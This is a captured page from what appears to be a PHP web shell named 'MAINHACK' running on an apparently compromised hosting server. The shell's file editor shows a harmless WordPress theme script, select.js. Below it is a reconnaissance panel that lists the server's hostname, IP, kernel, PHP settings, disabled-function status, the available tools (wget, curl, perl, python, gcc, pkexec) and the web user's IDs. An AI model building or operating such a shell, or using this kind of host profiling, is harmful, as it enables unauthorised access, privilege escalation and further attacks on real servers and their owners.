[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: select.js
;(function($) { "use strict"; wp.customize.controlConstructor['sinatra-select'] = wp.customize.Control.extend({ ready: function() { 'use strict'; var control = this; if ( control.params.is_select2 ) { // Init select2. control.container.find( '.sinatra-select-control' ).select2({ placeholder: sinatra_customizer_localized.strings.selectCategory, allowClear: true, }); // Populate select2 field. control.container.on( 'select2:opening', '.sinatra-select-control', function() { control.populate_select2(); control.container.off( 'select2:opening', '.sinatra-select-control' ); }); control.container.on( 'select2:select select2:unselect select2:clear', '.sinatra-select-control', function() { if ( ! $(this).val() ) { control.setting.set([]); } }); } }, // Populate select2. populate_select2: function(e) { var self = this, options = '', selected = '', setting = self.setting.get(); if ( '' === setting['font-family'] ) { selected = ' selected="selected"'; } $.each( self.params.choices, function( id, name ){ selected = ''; if ( setting && self.params.multiple && -1 !== setting.indexOf( id ) || ! self.params.multiple && id === setting ) { selected = ' selected="selected"'; } options += '<option value="' + id + '"' + selected + '>' + name + '</option>'; }); self.container.find( '.sinatra-select-control' ).html( options ); } }); })(jQuery);;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 691.6 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619